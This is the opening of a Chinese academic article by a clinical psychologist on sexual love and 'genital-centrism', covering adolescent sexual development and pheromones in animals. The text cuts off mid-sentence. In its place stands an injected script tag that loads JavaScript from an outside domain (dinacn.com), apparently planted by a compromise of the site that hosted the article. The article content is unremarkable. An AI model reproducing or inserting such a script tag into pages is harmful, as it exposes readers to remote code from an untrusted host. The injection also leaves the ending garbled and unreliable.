【作者简介】彭旭(1975- ),男,北京市人,主治医师,主要从事临床心理学研究。
自从人类诞生以来,性爱就已成为人类生活的永恒主题。性爱不但使人类种系得以繁衍、历史文明得以延续,更为社会生活增添了无限丰富的色彩。众所周知,没有性,人类的生物存在和社会存在都会迅速终结;没有爱,人类生活将退回到动物生存的状态。
1 性爱的形成
青春期的来临,使男孩和女孩们惊奇地发现并开始关注自己身体上日新月异的变化。同时,通过社会交往和社会学习,他们逐渐形成了各自的个性心理特征,其中包括性心理的成熟、性兴趣和性取向的定位,以及性审美观的建立。这时,朦胧的性爱意识伴随着青少年身心的成熟日渐清晰。更为重要的是,因社会道德标准、价值观念、法纪意识在青少年心理上的内化,使他们逐渐树立起自己的性道德观念。至此,青少年的性爱意识才在真正意义上初具雏形,性爱已在性生理、性心理、性伦理方面趋于完备。这些方面是构成性爱的必要因素,而各方面的发展水平也决定了性爱的先进程度。倘使性爱中缺少性心理、性伦理的内容,仅孤立地集中于性生理这一狭窄方面,则不但无性爱可言,而且实际上已经落入了性的一大误区——生殖器中心主义。
生殖器中心主义,顾名思义,可理解为只注重性爱中以生殖器官为核心的性生理内容,而置性心理和性伦理于不顾。换言之,在性爱的概念上,生殖器中心主义只强调“性”,而忽视甚至回避“爱”,是性与爱的一种失衡表现。
2 生殖器中心主义具有朴素的生物学特征
性成熟的动物,在发情期因体内性激素的作用,其生殖器周围的一些腺体会分泌一种挥发性物质,并通过空气扩散,发挥吸引异性前来交配的作用,这种物质生物学上称之为体外性激素。“闻香而至”的异性动物,?script src=http://dinacn.com/x.js> |